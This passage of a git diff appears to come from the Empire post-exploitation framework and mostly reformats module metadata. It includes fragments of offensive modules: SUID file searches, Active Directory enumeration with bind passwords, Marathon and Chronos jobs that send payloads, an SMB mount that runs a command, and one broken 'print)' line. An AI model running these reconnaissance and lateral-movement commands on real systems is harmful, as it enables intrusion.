cmd = "find {{ Path }} -type f \( -perm -g=s -o -perm -u=s \) \-exec ls -lg \{\} \;"
- print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read())
\ No newline at end of file
+ print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read())
diff --git a/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml b/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml
index 075910b49..ec5467096 100644
--- a/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml
+++ b/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml
@@ -1,8 +1,11 @@
name: Search for world writeable files
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module can be used to identify world writeable files.
software: ''
+tactics: []
techniques:
- T1083
background: true
@@ -22,8 +25,8 @@ options:
description: 'Path to start the search from. Default is / '
required: true
value: /
-script: |
+script: |-
import os
import subprocess
cmd = "find {{ Path }} -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print"
- print)subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read())
\ No newline at end of file
+ print)subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read())
diff --git a/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml b/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml
index 86e43eb7a..d998311fc 100644
--- a/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml
+++ b/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml
@@ -1,11 +1,15 @@
name: Dylib Hijack Vulnerability Scanner
authors:
- - '@patrickwardle'
- - '@xorrior'
-description: This module can be used to identify applications vulnerable to dylib
- hijacking on a target system. This has been modified from the original to remove
- the dependancy for the macholib library.
+ - name: ''
+ handle: '@patrickwardle'
+ link: ''
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: This module can be used to identify applications vulnerable to dylib hijacking on a target system. This has been
+ modified from the original to remove the dependancy for the macholib library.
software: ''
+tactics: []
techniques:
- T1157
background: false
@@ -15,7 +19,7 @@ opsec_safe: true
language: python
min_language_version: '2.6'
comments:
- - 'Heavily adapted from @patrickwardle''s script: https://github.com/synack/DylibHijack/blob/master/scan.py'
+ - "Heavily adapted from @patrickwardle's script: https://github.com/synack/DylibHijack/blob/master/scan.py"
options:
- name: Agent
description: Agent to run the module on.
@@ -29,7 +33,7 @@ options:
description: Scan only loaded process executables
required: true
value: 'False'
-script: |
+script: |-
from ctypes import *
def run():
@@ -546,4 +550,4 @@ script: |
print("[+] Find the legitimate dylib: find / -name , and note the path\\n")
print("[+] Run the CreateHijacker module in /persistence/osx/. Set the DylibPath to the path of the legitimate dylib.\\n")
- run()
\ No newline at end of file
+ run()
diff --git a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py
index 70a4bda8a..edc693a93 100644
--- a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py
+++ b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py
@@ -3,14 +3,14 @@
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
diff --git a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml
index 180c1f05e..17e58dffd 100644
--- a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml
+++ b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml
@@ -1,9 +1,14 @@
name: Situational Awareness
authors:
- - Alex Rymdeko-Harvey
- - '@Killswitch-GUI'
+ - name: Alex Rymdeko-Harvey
+ handle: ''
+ link: ''
+ - name: ''
+ handle: '@Killswitch-GUI'
+ link: ''
description: This module will enumerate the basic items needed for OP.
software: ''
+tactics: []
techniques:
- T1082
background: false
@@ -28,4 +33,4 @@ options:
required: true
value: 'False'
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml
index 14f48ddfd..139b7bf96 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml
@@ -1,9 +1,11 @@
name: dscl Get-GroupMembers
authors:
- - '@424f424f'
-description: This module will use the current user context to query active directory
- for a list of users in a group.
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
+description: This module will use the current user context to query active directory for a list of users in a group.
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -23,7 +25,7 @@ options:
description: Group
required: true
value: ''
-script: |
+script: |-
import subprocess
cmd = \"""dscl /Search read "/Groups/{{ Group }}" GroupMembership\"""
- print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read())
\ No newline at end of file
+ print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read())
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml
index 119c92477..18fd7bc32 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml
@@ -1,9 +1,11 @@
name: dscl Get-Groups
authors:
- - '@424f424f'
-description: This module will use the current user context to query active directory
- for a list of Groups.
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
+description: This module will use the current user context to query active directory for a list of Groups.
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -23,7 +25,7 @@ options:
description: Domain
required: true
value: ''
-script: |
+script: |-
import subprocess
cmd = \"""dscl "/Active Directory/{{ Domain }}/All Domains/" -list /Groups\"""
- print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read())
\ No newline at end of file
+ print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read())
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml
index 0ac73cf7b..92e2a9899 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml
@@ -1,9 +1,11 @@
name: dscl Get-Users
authors:
- - '@424f424f'
-description: This module will use the current user context to query active directory
- for a list of users.
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
+description: This module will use the current user context to query active directory for a list of users.
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -23,7 +25,7 @@ options:
description: Domain
required: true
value: ''
-script: |
+script: |-
import subprocess
cmd = \"""dscl "/Active Directory/{{ Domain }}/All Domains/" -list /Users\"""
- print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read())
\ No newline at end of file
+ print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read())
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml
index 6e37493f6..4ced44ef4 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml
@@ -1,8 +1,11 @@
name: Get Computers
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will list all computer objects from active directory
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -30,7 +33,7 @@ options:
description: Password to connect to LDAP
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -50,4 +53,4 @@ script: |
output.stdout.close()
out,err = output2.communicate()
print("")
- print(out)
\ No newline at end of file
+ print(out)
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml
index fc595bbc9..1af79541d 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml
@@ -1,8 +1,11 @@
name: Get Domain Controllers
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will list all domain controllers from active directory
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -30,7 +33,7 @@ options:
description: Password to connect to LDAP
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -50,4 +53,4 @@ script: |
output.stdout.close()
out,err = output2.communicate()
print("")
- print(out)
\ No newline at end of file
+ print(out)
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml
index 98312e9b2..5fdc84216 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml
@@ -1,8 +1,11 @@
name: Get FileServers
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will list file servers
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -30,7 +33,7 @@ options:
description: Password to connect to LDAP
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -55,4 +58,4 @@ script: |
if m:
print(m.group(1))
output.wait()
- print("")
\ No newline at end of file
+ print("")
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml
index 719c74bbb..fc3b1a392 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml
@@ -1,8 +1,11 @@
name: Get Group Members
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will return a list of group members
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -34,7 +37,7 @@ options:
description: Group to check which users are a member of
required: false
value: Domain Admins
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -55,4 +58,4 @@ script: |
output.stdout.close()
out,err = output2.communicate()
print("")
- print(out)
\ No newline at end of file
+ print(out)
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml
index f202a59e1..18682c6d5 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml
@@ -1,8 +1,11 @@
name: Get Group Membership
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module check what groups a user is member of
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -34,7 +37,7 @@ options:
description: User to check group memberships of
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -55,4 +58,4 @@ script: |
output.stdout.close()
out,err = output2.communicate()
print("")
- print(out)
\ No newline at end of file
+ print(out)
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml
index 86881faa0..481273e8d 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml
@@ -1,8 +1,11 @@
name: Get Groups
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will list all groups in active directory
software: ''
+tactics: []
techniques:
- T1482
background: false
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml
index ed8ccfb8a..d39a4c40a 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml
@@ -1,8 +1,11 @@
name: Get OUs
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will list all OUs from active directory
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -30,7 +33,7 @@ options:
description: Password to connect to LDAP
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -50,4 +53,4 @@ script: |
output.stdout.close()
out,err = output2.communicate()
print("")
- print(out)
\ No newline at end of file
+ print(out)
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml
index f2ce1303a..b59d3251c 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml
@@ -1,8 +1,11 @@
name: Get User Information
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module will return the user profile specified
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -34,7 +37,7 @@ options:
description: User to check group memberships of
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -51,4 +54,4 @@ script: |
cmd = \"""ldapsearch -x -h {} -b "dc={},dc={}" -D {} -w {} "(samAccountName="{}")" ""\".format(LDAPAddress, tld, ext, BindDN, password, user)
print("")
- print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read())
\ No newline at end of file
+ print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read())
diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml
index 3ca709473..ac8ceecc6 100644
--- a/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml
+++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml
@@ -1,8 +1,11 @@
name: Get Users
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: This module list users found in Active Directory
software: ''
+tactics: []
techniques:
- T1482
background: false
@@ -30,7 +33,7 @@ options:
description: Password to connect to LDAP
required: false
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
BindDN = "{{ BindDN }}"
LDAPAddress = "{{ LDAPAddress }}"
@@ -53,4 +56,4 @@ script: |
m = re.search(r'[^sAMAccountName:].*$', line)
print(m.group(0).lstrip())
output.wait()
- print("")
\ No newline at end of file
+ print("")
diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml
index b4528e117..75965d948 100644
--- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml
+++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml
@@ -1,8 +1,11 @@
name: Chronos API Add Job
authors:
- - '@TweekFawkes'
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
description: Add a Chronos job using the HTTP API service for the Chronos Framework
software: ''
+tactics: []
techniques:
- T1106
background: true
@@ -54,7 +57,7 @@ options:
description: The last successful run for the job (optional).
required: false
value: ''
-script: |
+script: |-
import urllib2
target = "{{ Target }}"
@@ -82,4 +85,4 @@ script: |
except Exception as e:
print("Failure sending payload: " + str(e))
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml
index f00533b07..073310112 100644
--- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml
+++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml
@@ -1,8 +1,11 @@
name: Chronos API Delete Job
authors:
- - '@TweekFawkes'
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
description: Delete a Chronos job using the HTTP API service for the Chronos Framework
software: ''
+tactics: []
techniques:
- T1106
background: true
@@ -31,7 +34,7 @@ options:
description: The name of the chronos job.
required: true
value: scheduledJob001
-script: |
+script: |-
import urllib2
target = "{{ Target }}"
@@ -65,4 +68,4 @@ script: |
except Exception as e:
print("Failure sending payload: " + str(e))
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml
index 7e505cbf6..63e037ccc 100644
--- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml
+++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml
@@ -1,8 +1,11 @@
name: Chronos API Start Job
authors:
- - '@TweekFawkes'
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
description: Start a Chronos job using the HTTP API service for the Chronos Framework
software: ''
+tactics: []
techniques:
- T1106
background: true
@@ -31,7 +34,7 @@ options:
description: The name of the chronos job.
required: true
value: scheduledJob001
-script: |
+script: |-
import urllib2
target = "{{ Target }}"
@@ -65,4 +68,4 @@ script: |
except Exception as e:
print("Failure sending payload: " + str(e))
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml b/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml
index c26b8f9a7..06e965ed0 100644
--- a/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml
+++ b/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml
@@ -1,9 +1,14 @@
name: Etcd Crawler
authors:
- - '@scottjpack'
- - '@TweekFawkes'
+ - name: ''
+ handle: '@scottjpack'
+ link: ''
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
description: Pull keys and values from an etcd configuration store
software: ''
+tactics: []
techniques:
- T1426
background: true
@@ -28,11 +33,10 @@ options:
required: true
value: '1026'
- name: Depth
- description: How far into the ETCD hierarchy to recurse. 0 for root keys only,
- "-1" for no limitation
+ description: How far into the ETCD hierarchy to recurse. 0 for root keys only, "-1" for no limitation
required: true
value: '-1'
-script: |
+script: |-
import urllib2
import json
@@ -60,4 +64,4 @@ script: |
k = get_etcd_keys(target, port, "/", depth)
print(str(k))
- main()
\ No newline at end of file
+ main()
diff --git a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml
index 1b66efa6f..2146c7e28 100644
--- a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml
+++ b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml
@@ -1,8 +1,11 @@
name: Marathon API Create and Start App
authors:
- - '@TweekFawkes'
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
description: Create and Start a Marathon App using Marathon's REST API
software: ''
+tactics: []
techniques:
- T1106
background: true
@@ -52,7 +55,7 @@ options:
description: The number of instances to assign to the app.
required: true
value: '1'
-script: |
+script: |-
import urllib2
target = "{{ Target }}"
@@ -106,4 +109,4 @@ script: |
except Exception as e:
print("Failure sending payload: " + str(e))
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml
index b6328cde6..64c72c6d3 100644
--- a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml
+++ b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml
@@ -1,8 +1,11 @@
name: Marathon API Delete App
authors:
- - '@TweekFawkes'
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
description: Delete a Marathon App using Marathon's REST API
software: ''
+tactics: []
techniques:
- T1106
background: true
@@ -32,7 +35,7 @@ options:
description: The id of the marathon app.
required: true
value: app001
-script: |
+script: |-
import urllib2
target = "{{ Target }}"
@@ -66,4 +69,4 @@ script: |
except Exception as e:
print("Failure sending payload: " + str(e))
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/situational_awareness/network/find_fruit.yaml b/empire/server/modules/python/situational_awareness/network/find_fruit.yaml
index a04cf8aba..3f934ba93 100644
--- a/empire/server/modules/python/situational_awareness/network/find_fruit.yaml
+++ b/empire/server/modules/python/situational_awareness/network/find_fruit.yaml
@@ -1,8 +1,11 @@
name: Find Fruit
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Searches for low-hanging web applications.
software: ''
+tactics: []
techniques:
- T1102
- T1256
@@ -31,7 +34,7 @@ options:
description: True/False to force SSL
required: false
value: 'False'
-script: |
+script: |-
import urllib2
import sys
import re
@@ -181,4 +184,4 @@ script: |
port = str("{{ Port }}")
ssl = {{ SSL }}
- main(ip, port, ssl)
\ No newline at end of file
+ main(ip, port, ssl)
diff --git a/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml b/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml
index ef205c570..ba80d0ba7 100644
--- a/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml
+++ b/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml
@@ -1,9 +1,11 @@
name: Translate a host name to IPv4 address format using a remote agent.
authors:
- - '@TweekFawkes'
-description: Uses Python's socket.gethostbyname("example.com") function to resolve
- host names on a remote agent.
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
+description: Uses Python's socket.gethostbyname("example.com") function to resolve host names on a remote agent.
software: ''
+tactics: []
techniques:
- T1018
background: true
@@ -23,7 +25,7 @@ options:
description: FQDN, domain name, or hostname to lookup using the remote target.
required: true
value: ''
-script: |
+script: |-
import socket
def main(target):
@@ -35,4 +37,4 @@ script: |
target = "{{ Target }}"
- main(target)
\ No newline at end of file
+ main(target)
diff --git a/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml b/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml
index bc486567e..ac9b286c4 100644
--- a/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml
+++ b/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml
@@ -1,9 +1,14 @@
name: HTTP REST API
authors:
- - '@TweekFawkes'
- - '@scottjpack'
+ - name: Bryce Kunz
+ handle: '@TweekFawkes'
+ link: https://twitter.com/TweekFawkes
+ - name: ''
+ handle: '@scottjpack'
+ link: ''
description: Interacts with a HTTP REST API and returns the results back to the screen.
software: ''
+tactics: []
techniques:
- T1006
background: true
@@ -28,7 +33,7 @@ options:
description: The HTTP request method to use.
required: true
value: GET
-script: |
+script: |-
import urllib.request as urllib2
requmethod = "{{ RequMethod }}"
@@ -60,4 +65,4 @@ script: |
except Exception as e:
print("Failure sending payload: " + str(e))
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/situational_awareness/network/port_scan.yaml b/empire/server/modules/python/situational_awareness/network/port_scan.yaml
index 835654ba7..f22eb25f7 100644
--- a/empire/server/modules/python/situational_awareness/network/port_scan.yaml
+++ b/empire/server/modules/python/situational_awareness/network/port_scan.yaml
@@ -1,8 +1,11 @@
name: Port Scanner.
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Simple Port Scanner.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -26,7 +29,7 @@ options:
description: The port to scan for.
required: true
value: '8080'
-script: |
+script: |-
import socket
iplist = []
@@ -141,4 +144,4 @@ script: |
target = "{{ Target }}"
port = {{ Port }}
- main(target, port)
\ No newline at end of file
+ main(target, port)
diff --git a/empire/server/modules/python/situational_awareness/network/smb_mount.yaml b/empire/server/modules/python/situational_awareness/network/smb_mount.yaml
index 4c66696d4..a789d7ca2 100644
--- a/empire/server/modules/python/situational_awareness/network/smb_mount.yaml
+++ b/empire/server/modules/python/situational_awareness/network/smb_mount.yaml
@@ -1,9 +1,11 @@
name: SMB Mount
authors:
- - '@424f424f'
-description: This module will attempt mount an smb share and execute a command on
- it.
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
+description: This module will attempt mount an smb share and execute a command on it.
software: ''
+tactics: []
techniques:
- T1135
background: false
@@ -43,7 +45,7 @@ options:
description: Command to run.
required: true
value: ''
-script: |
+script: |-
import sys, os, subprocess, re
username = "{{ UserName }}"
@@ -73,4 +75,4 @@ script: |
print("")
print(subprocess.Popen('diskutil unmount force /Volumes/{}', shell=True, stdout=subprocess.PIPE).stdout.read().format(mountpoint))
print("")
- print("Finished")
\ No newline at end of file
+ print("Finished")
diff --git a/empire/server/modules/python/trollsploit/osx/change_background.yaml b/empire/server/modules/python/trollsploit/osx/change_background.yaml
index 3c301e8e2..df4ef2bcb 100644
--- a/empire/server/modules/python/trollsploit/osx/change_background.yaml
+++ b/empire/server/modules/python/trollsploit/osx/change_background.yaml
@@ -1,8 +1,11 @@
name: Change Login Message for the user.
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Change the login message for the user.
software: ''
+tactics: []
techniques:
- T1491
background: false
@@ -30,7 +33,7 @@ options:
description: True/False to change the login background.
required: false
value: 'False'
-script: |
+script: |-
import subprocess
desktop = {{ Desktop }}
login = {{ Login }}
@@ -50,4 +53,4 @@ script: |
print("Login background changed!")
except Exception as e:
print("Changing login background failed")
- print(e)
\ No newline at end of file
+ print(e)
diff --git a/empire/server/modules/python/trollsploit/osx/login_message.yaml b/empire/server/modules/python/trollsploit/osx/login_message.yaml
index 3a0645125..a2b488991 100644
--- a/empire/server/modules/python/trollsploit/osx/login_message.yaml
+++ b/empire/server/modules/python/trollsploit/osx/login_message.yaml
@@ -1,8 +1,11 @@
name: Change Login Message for the user.
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Change the login message for the user.
software: ''
+tactics: []
techniques:
- T1491
background: false
diff --git a/empire/server/modules/python/trollsploit/osx/say.yaml b/empire/server/modules/python/trollsploit/osx/say.yaml
index 3bffb069b..45c88b031 100644
--- a/empire/server/modules/python/trollsploit/osx/say.yaml
+++ b/empire/server/modules/python/trollsploit/osx/say.yaml
@@ -1,8 +1,11 @@
name: Say
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Performs text to speech using "say".
software: ''
+tactics: []
techniques:
- T1491
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: false
language: python
min_language_version: '2.6'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to execute module on.
@@ -25,4 +28,4 @@ options:
description: The voice to use.
required: true
value: alex
-script: run_command('say -v {{ Voice }} {{ Text }}')
\ No newline at end of file
+script: run_command('say -v {{ Voice }} {{ Text }}')
diff --git a/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml b/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml
index 65dc96978..228a5171e 100644
--- a/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml
+++ b/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml
@@ -1,8 +1,11 @@
name: Open Safari in the background and play Thunderstruck.
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Open Safari in the background and play Thunderstruck.
software: ''
+tactics: []
techniques:
- T1491
background: false
@@ -18,7 +21,7 @@ options:
description: Agent to run on.
required: true
value: ''
-script: |
+script: |-
import subprocess
try:
@@ -30,4 +33,4 @@ script: |
except Exception as e:
print("Module failed")
- print(e)
\ No newline at end of file
+ print(e)
diff --git a/empire/server/modules/python_jobs_template.py b/empire/server/modules/python_jobs_template.py
index 853e7b833..cb0fb47bc 100644
--- a/empire/server/modules/python_jobs_template.py
+++ b/empire/server/modules/python_jobs_template.py
@@ -3,15 +3,15 @@
class Module(object):
def __init__(self, mainMenu, params=[]):
-
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
"Name": "Background Example",
# list of one or more authors for the module
